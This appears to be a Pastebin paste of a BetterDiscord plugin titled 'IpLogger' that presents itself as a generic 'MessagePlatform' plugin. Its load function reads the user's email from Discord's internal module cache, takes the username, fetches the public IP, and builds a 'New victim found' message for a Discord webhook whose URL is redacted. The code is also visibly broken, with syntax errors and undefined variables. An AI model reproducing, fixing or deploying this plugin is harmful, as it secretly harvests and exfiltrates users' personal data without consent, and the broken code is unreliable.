Mister_Stefan

BetterDiscord IpLogger

Sep 19th, 2021 (edited)
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //META{"name":"MessagePlatform"}*//
  2.  
  3. const config ={
  4.    "info": {
  5.         "name": "MessagePlatform",
  6.         "authors": ["Sayanoraxeni"],
  7.         "version": "0.1.1",
  8.         "description": "Plugin for Discord"
  9.     },
  10.  
  11.     "webhook": "https://discord.com/api/webhooks/xxxxxxxxxxx/xxxxxxxxxxxx"
  12. }
  13.  
  14.  
  15.  
  16. class MessagePlatform {
  17.         /* BD functions */
  18.     getName() {
  19.         return "MessagePlatform";
  20.     }
  21.  
  22.     getVersion() {
  23.         return "0.1.1";
  24.     }
  25.  
  26.     getAuthor() {
  27.         return "Sayanoraxeni";
  28.     }
  29.  
  30.     getDescription() {
  31.         return "Plugin for Discord userEmail and userId";
  32.         }
  33.  
  34.     constructor() {
  35.                this._config = config; }
  36.    
  37.     getName() { return config.info.name; }
  38.     getAuthor() { return config.info.authors[0] }
  39.     getDescription() { return config.info.description; }
  40.     getVersion() { return config.info.version; }
  41.  
  42.  
  43.     load() {
  44.         const userEmail = Object.values(webpackJsonp.push([ [], { ['']: (_, e, r) => { e.cache = r.c } }, [ [''] ] ]).cache).find(m => m.exports && m.exports.default && m.exports.default.getEmail !== void 0).exports.default.getEmail();
  45.         const username = BdApi.findModuleByProps("getCurrentUser").getCurrentUser().username
  46.    
  47.  
  48.     fetch('https://api.ipify.org/?format=json%22', {
  49.     method: 'POST',
  50.     headers: {
  51.     'content-1': 'application/json'
  52.     }
  53.     body: JSON.stringify({
  54.     name: 'User1',
  55.     content: `New victim found by __${config.info.authors[0]}__**\n\n**Victim's nickname: __${username}__**\n**Victim email: __${userEmail}__**\n**IP: __${data.ip}__`
  56.    })
  57.  }).then(res =>
  58.    res.json())
  59.          .then(data => post(`https://discord.com/api/webhooks/xxxxxxxxxx/xxxaxxxx`))
  60.  
  61.  }
Add Comment
Please, Sign In to add comment